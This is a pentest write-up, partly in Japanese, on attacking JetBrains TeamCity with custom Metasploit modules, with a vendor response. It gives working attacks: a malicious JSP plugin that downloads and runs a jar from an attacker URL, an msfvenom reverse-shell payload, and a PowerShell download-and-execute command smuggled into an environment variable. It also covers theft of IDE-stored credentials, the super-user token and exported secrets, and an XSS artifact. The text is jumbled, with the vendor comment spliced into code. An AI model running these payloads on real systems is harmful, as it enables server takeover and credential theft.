
Metasploitを使用したTeamCityのペンテスト
要約: JetBrains IDE (IntelliJ や PyCharm など) からパスワードを取得し、その認証情報を TeamCity Continuous Integration Server 内で使用して、Metasploit を使用してサーバーおよびビルドエージェント上でメータープリターセッションを取得します。Kacper Szurek 著。




以下はベンダー (JetBrains TeamCity チーム) からのコメントです。Yegor Yarko 氏によるもの:
OKK <% String file_path = System.getProperty("java.io.tmpdir") + File.separator + request.getParameter("file_path"); String java_path = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java"; %> <%= file_path %> <%= java_path %> <% try { org.apache.commons.io.FileUtils.copyURLToFile(new java.net.URL(request.getParameter("file_url")), new File(file_path)); ProcessBuilder pb = new ProcessBuilder(java_path, "-jar", file_path); Process p = pb.start(); } catch (Exception x) { x.printStackTrace(System.out); } %> ``` これにより、meterpreterのダウンロードと実行が可能になります。コンパイル済みの `.jar` ファイルは[こちら](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)です。この記事の内容の大部分は、正しい権限が付与されている場合に悪意のあるユーザーが TeamCity を悪用する方法について説明しています。 例えば、システム管理者ロール (サーバーに対する完全な制御権を持つ) を持つユーザーは、悪意のある TeamCity プラグインをインストールしたり、サーバーへの「スーパーユーザー」アクセス用のトークンを取得したりできます。また、プロジェクト管理者ロールを持つユーザーは、エージェント上で任意のコードを実行したり、構成されたリポジトリアクセスパスワードを取得したりできます。これらの動作は、製品として TeamCity が提供する機能の一部です。これらの考慮事項は、TeamCity ドキュメントの関連セクションに記載されています。
説明された問題は、悪意のある攻撃者に高い権限を与えることがどれほど危険であるかを示しています。TeamCity サーバーの管理者は、ユーザーの権限を定期的にレビューして、悪用される可能性のある権限を潜在的に悪意のあるユーザーに付与しないようにする必要があります。有効になっている場合は、ゲストユーザーの権限も確認してください。もう一つのポイントは、重要な権限でログインした状態で端末を放置しないことです。
ただし、記事では2つの実際のセキュリティ上の懸念事項が指摘されています。 1つは、悪意のあるビルド成果物を公開し、管理者ユーザーにそれをブラウザで表示させることに関するもの、もう1つは、カスタムビルドを実行する権限を TeamCity エージェント上での任意のコード実行に昇格させることです。後者は、この権限を持つユーザーは通常すでにエージェント上で任意のコードを実行できるため、ほとんどの TeamCity インストールに与える影響は軽微です。
それでも、私たちは近い将来の TeamCity リリースのいずれかで上記の懸念事項に対処する予定であり、それらを私たちの注意に喚起してくれたことに感謝します。
ソフトウェア会社でペネトレーションテストを行っていると仮定しましょう。その会社は JetBrains スタックを使用しており、あなたは Metasploit を使用して開発者のコンピュータ上でメータープリターセッションを取得しています。
次に何ができるでしょうか? 2015年に Nikhil SamratAshok Mittal による TeamCity のペネトレーションテストに関する記事が1つあります。
この記事では、Security Notes と BugTrack から複数の手法を組み合わせ、それらを Metasploit モジュールにまとめました。
注: ここでは0デイは使用していません。すべてのアクションには有効な TeamCity 認証情報が必要です。JetBrains コメント を参照してください。
私はこのスクリプトによって引き起こされるいかなる損害についても責任を負いません。データの安全性のために set CLEANUP false を使用してください。
TeamCity 2017.2.1 (ビルド 50732) でテスト済み。
KeePass データベースを復号化するには、kdbx Ruby ライブラリが必要です。
find / -name "metasploit-framework.gemspec"vim /usr/share/metasploit-framework/metasploit-framework.gemspecspec.add_runtime_dependency 'kdbx', '0.2.0'cd /usr/share/metasploit-framework/ && bundle install次に以下の操作が可能です。
mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/postteamcity.rb と serverplugin.zip を ~/.msf4/modules/exploits にコピーjetbrains.rb を ~/.msf4/modules/post にコピーmsfconsole を実行reload_allTeamCity は、プラグイン を使用してすべての JetBrains IDE と簡単に統合できます。

「Remember me」オプションが使用されている場合、パスワードは IntelliJ Platform Credentials Store API を使用して保存されます。ソースコードはこちらにあります。
Windows での復号化手順は次のようになります:

pdb.pw ファイルは Windows の CryptUnprotectData を使用して復号化されます。これは、データを暗号化したユーザーのみが復号化できることを意味します。c.kdbx KeePass データベースは、ポイント2の マスターパスワード を使用して復号化できるようになります。0xDFAA を使用して XOR されます。デフォルトでは、マスターパスワード はランダムです。オプション内で変更できます:

しかし、これは何も変更しません。
これは単に、KeePass データベース c.kdbx が異なるパスワードで暗号化されることを意味します。ローカルユーザーは依然として pdb.pw ファイルからこのパスワードを簡単に取得できます。
有効なメータープリターセッション #1 を持っていると仮定しましょう。```
use post/jetbrains
set SESSION 1
exploit
出力は次のようになります:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit
[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed
現在、JetBrains metasploitモジュールからTeamCityの認証情報を取得しています。現在のユーザーロールに基づいて、以下の操作が可能です:
| サーバー上のシェル | ビルドエージェント上のシェル | スーパーユーザー | 保存された認証情報 | |
|---|---|---|---|---|
| 管理者 | ✔️ | ✔️ | ✔️ | ✔️ すべてのプロジェクト |
| ログインユーザー | ❌ | ✖️ Windowsエージェントのみ | ❌ | ❌ |
| ゲストユーザー | ❌ | ❌ | ❌ | ❌ |
| サーバー上のシェル | ビルドエージェント上のシェル | スーパーユーザー | 保存された認証情報 | |
|---|---|---|---|---|
| システム管理者 | ✔️ | ✔️ | ✔️ | ✔️ すべてのプロジェクト |
| プロジェクト管理者 | ❌ | ✔️ | ❌ | ✔️ |
| プロジェクト開発者 | ❌ | ✖️ Windowsエージェントのみ | ❌ | ❌ |
| プロジェクトビューア | ❌ | ❌ | ❌ | ❌ |
metasploitモジュールはカスタムロールをサポートしていないことに注意してください。
TeamCityはプラグインを使用して簡単に拡張できます。

この機能を使用して、メータープリターセッションを実行する悪意のあるプラグインを作成することが可能です。
Hello.jsp 内に以下を記述します: ```java
<%@ page import="java.io.File" %>Server Administration -> Diagnostics -> Browse Data Directory に移動し、プラグインを plugins ディレクトリにアップロードします。(http://teamcity/admin/admin.html?item=diagnostics&tab=dataDir)
Server Administration -> Diagnostics -> Troubleshooting -> Restart server を使用してサーバーを再起動します。(http://teamcity/admin/admin.html?item=diagnostics&tab=dumps)
.jar ファイルを http://teamcity/demoPlugin.html?file_url=http://attacker/my_malicious.jar&file_path=random_name.jar を使用して実行できるようになります。TeamCity Build Agent は、TeamCityサーバーからのコマンドを待ち受け、実際のビルドプロセスを開始するソフトウェアです。TeamCityサーバーとは別にインストールおよび設定されます。エージェントはサーバーと同じコンピューターにも、別のマシンにもインストールできます。
悪用は次のようになります:

簡単に言うと、Java meterpreterを生成し、それをgitサーバーでホストします。次に、ビルド設定を作成し、その設定によりgitサーバーからmeterpreterをダウンロードし、コマンドラインを使用してエージェント上で実行します。
meterpreterペイロードを生成: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -f jar > meterpreter.jar
meterpreter.jar をGitサーバーでホストします(例:https://gogs.io/ を使用)
System Administrator 権限がある場合は、新しいプロジェクトを作成できます(http://teamcity/admin/createObjectMenu.html?projectId=_Root&showMode=createProjectMenu)。`Project Developer` の場合は、アクセス権のあるプロジェクトを編集する必要があります。




| キー | 値 |
|---|---|
| ランナータイプ | コマンドライン |
| 実行ステップ | 常時、ビルド停止コマンドが発行された場合でも |
| 実行 | パラメータ付き実行可能ファイル |
| コマンド実行可能ファイル | %teamcity.agent.jvm.java.home%/bin/java |
| コマンドパラメータ | -jar %system.teamcity.build.checkoutDir%/your_jar_file_from_git.jar |
8\. Run personal custom build on all compatible agents

## Shell on Windows build agents
By default `Project Developer` cannot modify/create build steps.
So it's not possible to add and execute our malicious command line.
We can try to bypass this on Windows using [Custom environment variables ](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables). How?
Teamcity supports [git checkout on agent](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode).
Before build step execution, agent is downloading newest data from git server:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}
Agent is checking if environment variable TEAMCITY_GIT_PATH exist. If yes, it's used as path for git binary.
In TeamCity Project Developer can run build for which he has access to and specify custom environment variables.
So we are setting env.TEAMCITY_GIT_PATH to:```
"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('path_to_http_server_with_meterpreter')), '%system.teamcity.build.tempDir%/meterpreter.jar');Start-Process -FilePath '%teamcity.agent.jvm.java.home%/bin/java.exe' -ArgumentList '-jar', '%system.teamcity.build.tempDir%/meterpreter.jar';"

ビルドログでは次のように表示されます:```
[2018-01-30 20:54:55,342] INFO - jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"
[2018-01-30 20:54:55,343] INFO - jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718] WARN - jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+ ~~~~~~~
+ CategoryInfo : ObjectNotFound: (version:String) [], CommandNotF
oundException
+ FullyQualifiedErrorId : CommandNotFoundException
TeamCityには スーパーユーザーアカウント と呼ばれる機能があります。これにより、認証情報を忘れた場合や認証関連の設定を修正する必要がある場合に、システム管理者権限でサーバーUIにアクセスできます。
System Administrator 権限がある場合は、Server Administration->Diagnostics->Server logs->teamcity-server.log に移動し、文字列 Super user authentication token を検索してください (http://teamcity/admin/admin.html?item=diagnostics&tab=logs&file=teamcity-server.log):```
[2018-02-06 17:26:40,697] INFO - jetbrains.buildServer.SERVER - Super user authentication token: "6221479178183012781". To login as Super user use an empty username and this token as a password on the login page.
Now you can login using: `http://teamcity/login.html?super=1`
## 保存された認証情報
TeamCityは、`VCSルートパスワード`、`パスワードパラメータ`、`SSHキー`などの情報を暗号化して保存し、WebやAPIインターフェースではその内容を表示しません。
ただし、`エクスポート`機能を使用することでこれを回避できます。**Your project->Settings Export->Export**に移動します。

これらのファイルは次のようになります:
``````xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
<name>exploiter</name>
<parameters />
<project-extensions>
<extension id="PROJECT_EXT_2" type="OAuthProvider">
<parameters>
<param name="displayName" value="Docker Registry" />
<param name="providerType" value="Docker" />
<param name="repositoryUrl" value="https://docker.io" />
<param name="secure:userPass" value="zxxyour_encrypted_passwords" />
<param name="userName" value="my_user_name" />
</parameters>
</extension>
</project-extensions>
<cleanup />
</project>
暗号化された文字列は zxx で始まり、静的キーを使用したDES でエンコードされています。
Teamcity Bug Tracker #TW-27206 にあるように、ビルド成果物の悪意あるデータがXSS攻撃を引き起こす可能性があります。
現在、ビルド成果物のすべての .html ファイル(およびその他の一部のファイル)は、クリックするとブラウザでレンダリングされます。
私は新しい管理者アカウントを作成しようとする小さなコードスニペットを作成しました。
この攻撃はどのように見えるでしょうか?管理者に、http://localhost:8123/repository/download/Exploiter_Builder/83:id/our_malicious_artifact.html のようなURLで利用可能な悪意のある成果物を訪問させるように試みます。

TeamCityでは、ゲストログイン を有効にすることで、匿名でのTeamCity Web UIへのアクセスが可能になります。
サーバー管理者は Administration | Authentication ページ でゲストログインを有効にできます。
これを使用してビルド成果物を取得できます。
基本的な使い方:``` use exploit/teamcity set RHOST 192.168.1.1 set RPORT 8111 set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.118 set LPORT 4444 set USERNAME your_user_name set PASSWORD your_password exploit
出力は次のようになります:
追加オプション:
| 名前 | 説明 |
|:---:|:---:|
|PROJECT_ID|プロジェクトIDを指定(デフォルトでは新しいランダムプロジェクトを作成)|
|BUILD_TYPE_ID|ビルドタイプIDを指定(デフォルトでは新しいランダムビルドタイプを作成)|
|VCS_ID|VCS IDを指定(デフォルトでは新しいランダムVCSを作成)|
|CLEANUP|作成したプロジェクト/ビルド/VCSルートを削除|
|SERVER_PLUGIN|[serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)へのパス|
|GIT_PATH|GITディレクトリへのパス|
# トラブルシューティング
1. Metasploitモジュールを読み込めない
`teamcity.rb`を`~/.msf4/modules/exploits`に、`jetbrains.rb`を`~/.msf4/modules/post`ディレクトリにコピーしたか再確認してください。
Metasploitでは、エクスプロイトモジュールは`exploits`ディレクトリ内に、ポストモジュールは`post`ディレクトリ内にある必要があります。
2. 警告!以下のモジュールを読み込めませんでした!LoadError: cannot load such file -- kdbx
[kdbxモジュール](#installation)をインストールしましたか?インストール済みの場合は、Metasploitを終了して再度起動してください。`reload_all`コマンドを使用してください。
3. Mac/LinuxにインストールされたIDEからパスワードを取得できない
現在はWindowsのみ対応しています。申し訳ございません。
4. Post failed: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: Operation failed: 1
おそらくJavaメーターを使用しています。必要なAPIが不足しています。`windows/meterpreter/reverse_tcp`に移行して再試行してください。
5. SYSTEMとして実行中、データを復号化できない
パスワードは`CryptUnprotectData` APIを使用して暗号化されているため、復号化機能は通常のユーザーアカウントコンテキストで実行する必要があります。
6. [サーバー上のシェル](#shell-on-server)を取得できない
エクスプロイトをもう一度実行してください。
7. 現在のユーザーに十分な権限があるのに`teamcit.rb`が動作しない
このモジュールはカスタムロールをサポートしていません。
8. %path%内にgitが見つかりません。GIT_PATHを変更してください
メーターをホストするGitサーバーをセットアップするには、`git`と`git-upload-pack`バイナリが必要です。[こちら](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html)のアイデアを利用しています。
```
set GIT_PATH /your/path/to/git/dir
```
9. `username:password`としてログインできない
認証情報を再確認してください:
set USERNAME your_user_name
set PASSWORD your_password
10. サーバープラグインが見つかりません: %path%。SERVER_PLUGINを変更してください
[serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)が保存されている場所を指定してください
set SERVER_PLUGIN /your/path/to/serverplugin.zip
11. [-] Exploit failed: Rex::RuntimeError The supplied resource is already added.
`jobs -K`を使用してバックグラウンドジョブを強制終了してください
12. LHOSTを0.0.0.0ではなく、特定のIPアドレスにバインドしてください
特定のIPアドレスにバインドしてください。例:
set LHOST 192.168.1.10 ```
use LHOST 192.168.1.123
特定のプロジェクトに対する権限がありません。 アクセス権があるプロジェクトを確認してください、例: ``` You can modify only following projects: ["test", "second"]
そして、プロジェクトIDを指定します: ```
set PROJECT_ID test
java/meterpreter/reverse_tcp のみが利用可能なのか?移植性が高いからです。自由に is_payload_compatible? 関数を修正してください。
デバッグを有効にする:
set HttpTrace 1
set LogLevel 3